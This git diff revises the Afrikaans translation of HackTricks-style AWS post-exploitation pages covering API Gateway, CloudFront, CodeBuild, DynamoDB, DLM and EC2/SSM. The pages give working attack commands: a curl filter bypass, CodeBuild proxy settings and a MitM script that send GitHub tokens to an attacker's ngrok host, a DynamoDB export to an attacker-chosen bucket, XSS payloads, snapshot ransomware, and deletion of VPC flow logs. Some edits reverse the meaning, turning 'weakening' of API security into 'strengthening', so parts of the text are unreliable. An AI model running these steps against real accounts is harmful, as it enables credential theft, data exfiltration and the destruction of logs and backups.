masjien sal jy in staat wees om toegang tot die eindpunt te verkry en dus die gateway API aan te roep wat voorheen nie blootgestel was nie. -### Omseil Versoek liggaam deurlaat +### Oorbrug aanvraagliggaam pas deur Hierdie tegniek is gevind in [**hierdie CTF skrywe**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die versoek nagegaan word, sal die versoek na die agterkant deurgee sonder enige transformasie. +Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die aanvraag nagegaan word, sal die aanvraag na die agterkant deurgee sonder enige transformasie. -Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n versoek gestuur is met `Content-Type: application/json`: +Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n aanvraag gestuur is met `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -However, sending a request with **`Content-type: text/json`** would prevent that filter. +egter, om 'n versoek te stuur met **`Content-type: text/json`** sou daardie filter voorkom. -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: +Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag te stuur sonder enige beperking deur 'n POST-versoek met die navraag in die liggaam te stuur en die koptekst `X-HTTP-Method-Override: GET` te gebruik: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` @@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers In die **Enumerasie** afdeling kan jy sien hoe om die **gebruik plan** van die sleutels te **verkry**. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**. -Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genaamd **`x-api-key`**. +Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genoem **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -'n Aanvaller met die toestemmings `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**. +'n Aanvaller met die regte `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskepping van API-verkeer. +**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskep van API-verkeer. > [!NOTE] > Nodig om te toets @@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potensiële Impak**: Verswakking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel. +**Potensiële Impak**: Versterking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel. > [!NOTE] > Nodig om te toets diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index cc5d53697..19eede883 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### Man-in-the-Middle -Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (injecting 'n kwaadwillige JS-skrip). +Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (deur 'n kwaadwillige JS-skrip in te voeg). #### scenario 1: MitM waar CloudFront geconfigureer is om toegang te verkry tot 'n HTML van 'n emmer @@ -20,12 +20,12 @@ Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse- - **Koppel** dit aan die CloudFront verspreiding. - Stel die **gebeurtenistipe op "Viewer Response"**. -Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS injecteer. +Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS in voeg. #### scenario 2: MitM waar CloudFront reeds 'n lambda-funksie gebruik - **Wysig die kode** van die lambda-funksie om sensitiewe inligting te steel -Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan. +Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) kyk. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 1c86452de..5c7b49d17 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,8 +12,8 @@ Vir meer inligting, kyk: ### Kontroleer Geheimen -As geloofsbriewe in Codebuild gestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van persoonlike tokens, wagwoorde of OAuth-token toegang, **sal hierdie geloofsbriewe as geheimen in die geheimbestuurder gestoor word**.\ -Daarom, as jy toegang het om die geheimbestuurder te lees, sal jy in staat wees om hierdie geheimen te verkry en na die gekonnekteerde platform te pivot. +As geloofsbriewe in Codebuild gestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van persoonlike tokens, wagwoorde of OAuth-token toegang, **sal hierdie geloofsbriewe as geheime in die geheime bestuurder gestoor word**.\ +Daarom, as jy toegang het om die geheime bestuurder te lees, sal jy in staat wees om hierdie geheime te verkry en na die gekonnekteerde platform te pivot. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -27,15 +27,15 @@ Om **CodeBuild** te konfigureer, sal dit **toegang tot die kode-repo** benodig w Die **CodeBuild-projek moet toegang hê** tot die geconfigureerde bronverskaffer, hetsy via **IAM-rol** of met 'n github/bitbucket **token of OAuth-toegang**. -'n Aanvaller met **verhoogde regte oor 'n CodeBuild** kan hierdie geconfigureerde toegang misbruik om die kode van die geconfigureerde repo en ander waar die ingestelde geloofsbriewe toegang het, te lek.\ -Om dit te doen, sal 'n aanvaller net die **repo-URL na elke repo wat die konfigurasiegeloofsbriewe toegang het, moet verander** (let daarop dat die aws-webwerf al hulle vir jou sal lys): +'n Aanvaller met **verhoogde regte in 'n CodeBuild** kan hierdie geconfigureerde toegang misbruik om die kode van die geconfigureerde repo en ander waar die gestelde geloofsbriewe toegang het, te lek.\ +Om dit te doen, sal 'n aanvaller net die **repository-URL na elke repo wat die konfigurasiegeloofsbriewe toegang het, moet verander** (let daarop dat die aws-webwerf al hulle vir jou sal lys):
En **verander die Buildspec-opdragte om elke repo te exfiltreer**. > [!WARNING] -> egter, hierdie **taak is herhalend en vervelig** en as 'n github-token met **skryfregte** geconfigureer is, sal 'n aanvaller **nie in staat wees om (mis)bruik te maak van daardie regte** nie, aangesien hy nie toegang het tot die token.\ +> Hierdie **taak is herhalend en vervelig** en as 'n github-token met **skryfregte** geconfigureer is, sal 'n aanvaller **nie in staat wees om (mis)bruik te maak van daardie regte** nie, aangesien hy nie toegang tot die token het.\ > Of het hy? Kyk na die volgende afdeling ### Lek van Toegangstokens van AWS CodeBuild @@ -58,7 +58,7 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -'n Aanvaller kan etikette byvoeg, wysig of verwyder van CodeBuild hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangbeheerbeleide gebaseer op etikette ontwrig. +'n Aanvaller kan etikette byvoeg, wysig of verwyder van CodeBuild-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangbeheerbeleide op grond van etikette ontwrig. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys @@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn --tag-keys ```sql aws codebuild delete-source-credentials --arn ``` -**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die betrokke repo staatmaak as gevolg van die verwydering van bronbewyse. +**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die geraakte repository staatmaak as gevolg van die verwydering van bronbewyse. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 4a5619724..ceb30fd90 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,13 +4,13 @@ ## Herwin Github/Bitbucket Geconfigureerde Tokens -Eerst, kyk of daar enige bronakkrediteure geconfigureer is wat jy kan lek: +Eerst, kyk of daar enige bronbewyse geconfigureer is wat jy kan lek: ```bash aws codebuild list-source-credentials ``` ### Via Docker Image -As jy vind dat outentisering na byvoorbeeld Github in die rekening ingestel is, kan jy **exfiltrate** daardie **toegang** (**GH token of OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die bou van die projek te loop. +As jy vind dat outentisering na byvoorbeeld Github in die rekening gestel is, kan jy **exfiltrate** daardie **toegang** (**GH token of OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die bou van die projek te loop. Vir hierdie doel kan jy **'n nuwe Codebuild projek skep** of die **omgewing** van 'n bestaande een verander om die **Docker image** in te stel. @@ -18,9 +18,9 @@ Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mi 1. **Skep & Laai jou eie Docker MitM image op** - Volg die instruksies van die repo om jou proxy IP adres in te stel en jou SSL sertifikaat in te stel en **bou die docker image**. -- **MOENIE `http_proxy` INSTEL NIE** om nie versoeke na die metadata eindpunt te onderskep nie. +- **MOET NIE `http_proxy` INSTEL NIE** om nie versoeke na die metadata eindpunt te onderskep nie. - Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou gasheer in te stel. -- Sodra jy die Docker image gebou het, **laai dit op na 'n openbare repo** (Dockerhub, ECR...) +- Sodra jy die Docker image gebou het, **laai dit op na 'n publieke repo** (Dockerhub, ECR...) 2. **Stel die omgewing in** - Skep 'n **nuwe Codebuild projek** of **wysig** die omgewing van 'n bestaande een. - Stel die projek in om die **voorheen gegenereerde Docker image** te gebruik. @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Dan, voer die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort aangedui deur die proxy veranderlikes (http_proxy en https_proxy) +- Dan, voer die basiese voorbeeld uit [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in die poort aangedui deur die proxy veranderlikes (http_proxy en https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -132,20 +132,20 @@ mitm.run()
-### ~~Via HTTP-protokol~~ +### ~~Deur HTTP-protokol~~ > [!TIP] > **Hierdie kwesbaarheid is op 'n stadium in die week van die 20ste Februarie 2023 deur AWS reggestel (ek dink op Vrydag). So 'n aanvaller kan dit nie meer misbruik nie :)** 'n Aanvaller met **verhoogde regte in 'n CodeBuild kan die Github/Bitbucket-token** wat geconfigureer is, lek of as regte via OAuth geconfigureer is, die **tydelike OAuth-token wat gebruik word om toegang tot die kode te verkry**. -- 'n Aanvaller kan die omgewingsveranderlikes **http_proxy** en **https_proxy** aan die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`). +- 'n Aanvaller kan die omgewing veranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
- Verander dan die URL van die github-repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions` -- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort wat deur die proxy-veranderlikes (http_proxy en https_proxy) aangedui word. +- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort wat deur die proxy-variabeles (http_proxy en https_proxy) aangedui word. ```python from mitm import MITM, protocol, middleware, crypto @@ -162,11 +162,11 @@ mitm.run() ```sh aws codebuild start-build --project-name ``` -- Uiteindelik sal die **credentials** in **duidelike teks** (base64) na die mitm-poort gestuur word: +- Uiteindelik sal die **akkrediteerings** in **duidelike teks** (base64) na die mitm-poort gestuur word:
> [!WARNING] -> Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die regte wat dit het op te lys en (mis)bruik makliker as om die CodeBuild-diens direk te gebruik. +> Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die voorregte wat hy het op te lys en (mis)bruik makliker as om die CodeBuild-diens direk te gebruik. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index 374c51179..049cf0c4e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -10,7 +10,7 @@ ### Aktiveer / Deaktiveer Beheer -Om 'n rekening verder te benut, mag jy nodig hê om Control Tower-beheer te deaktiveer/aktiver: +Om 'n rekening verder te benut, mag jy nodig hê om Control Tower beheer te deaktiveer/aktiver. ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 199bc31e4..ca67db5b4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,13 +6,13 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, die snapshots te enkripteer met 'n KMS-sleutel van 'n ander AWS-rekening en die geënkripteerde snapshots na 'n ander rekening oor te dra. Alternatiewelik kan hulle snapshots sonder enkripsie na 'n rekening wat hulle bestuur oorplaas en dit dan daar enkripteer. Alhoewel dit nie reguit is om bestaande EBS-volumes of snapshots direk te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep. +'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, wat die snapshots met 'n KMS-sleutel van 'n ander AWS-rekening en die versleutelde snapshots na 'n ander rekening oordra. Alternatiewelik kan hulle snapshots sonder versleuteling na 'n rekening wat hulle bestuur oordra en dit dan daar versleut. Alhoewel dit nie regstreeks moontlik is om bestaande EBS-volumes of snapshots te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep. -Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instance ID, volume ID, enkripsiestatus, aanhegselsstatus, en volumetipe. +Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instansie-ID, volume-ID, versleutelingstatus, aanhegselsstatus en volumetipe. `aws ec2 describe-volumes` -Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir enkripsie, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word. +Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir versleuteling, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index ac5655aa9..5484e0e13 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te verkry: +**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**Soos die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te verkry. Dit laat toe om 'n [substel van vergelykings](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat toegelaat word met die primêre sleutel (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te verkry nie. +**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek. Dit laat toe om 'n [substel van vergelykings](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel toegelaat word (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie. {{#tabs }} {{#tab name="json file" }} @@ -135,7 +135,7 @@ maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie so nu ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3-bucket** van sy keuse te **eksporteer:** +Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3-bucket** van sy keuse te **exporteer**: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -173,7 +173,7 @@ aws dynamodb restore-table-from-backup \ Hierdie toestemming laat gebruikers toe om 'n **nuwe item aan die tabel toe te voeg of 'n bestaande item met 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **hele item vervang word** met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **gecreëer** word. {{#tabs }} -{{#tab name="XSS Voorbeeld" }} +{{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potensiële Impak:** Exploitatie van verdere kwesbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB-tabel toe te voeg/wysig +**Potensiële Impak:** Exploitatie van verdere kwesbaarhede/oorskrygings deur in staat te wees om data in 'n DynamoDB tabel toe te voeg/te wysig ### `dynamodb:UpdateItem` -Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe aan 'n item toe te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateringuitdrukking gespesifiseer is, stel. +Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe aan 'n item toe te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateringuitdrukking gespesifiseer is, stel. {{#tabs }} {{#tab name="XSS Example" }} @@ -252,7 +252,7 @@ aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Potensiële impak**: Gegevensverlies en onderbreking van dienste wat op die verwyderde tabel staatmaak. +**Potensiële impak**: Gegevensverlies en ontwrigting van dienste wat op die verwyderde tabel staatmaak. ### `dynamodb:DeleteBackup` @@ -269,7 +269,7 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: Toets of dit werklik werk -'n Aanvaller met hierdie toestemmings kan **'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang tot die stroom verkry om veranderinge aan die tabel in werklike tyd te monitor**. Dit stel die aanvaller in staat om data veranderinge te monitor en te exfiltreer, wat moontlik kan lei tot data lek. +'n Aanvaller met hierdie toestemmings kan **'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang tot die stroom verkry om veranderinge aan die tabel in werklike tyd te monitor**. Dit stel die aanvaller in staat om data veranderinge te monitor en te ekfiltreer, wat moontlik kan lei tot data lekkasie. 1. Aktiveer 'n stroom op 'n DynamoDB-tabel: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 21f02432f..6aa4f5aee 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -10,7 +10,7 @@ Vir meer inligting, kyk: ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Kwaadwillige VPC Spiegel -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` VPC-verkeer spieëling **dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.\ 'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry: @@ -21,9 +21,9 @@ Vir meer inligting, kyk hierdie bladsy: aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Kopieer Loopende Instansie -Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daaruit te laat loop**: +Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 voorregverhoging truuks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop**: ```shell # List instances aws ec2 describe-images @@ -83,7 +83,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel. -Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Vir [**meer inligting kyk hierna**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Verwyder VPC vloei logs ```bash @@ -91,7 +91,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Benodigde toestemmings: +Vereiste toestemmings: - `ssm:StartSession` @@ -104,13 +104,13 @@ Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Kry die Bastion EC2 AWS tydelike geloofsbriewe met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skrip -4. Oordra die geloofsbriewe na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel +3. Kry die Bastion EC2 AWS tydelike akrediteerings met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skrip +4. Oordra die akrediteerings na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel 5. Meld aan by EKS as die Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Werk die `server` veld in die `$HOME/.kube/config` lêer op om na `https://localhost` te verwys +6. Werk die `server` veld in die `$HOME/.kube/config` lêer om na `https://localhost` te verwys 7. Skep 'n SSM-tonnel soos volg: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region @@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo 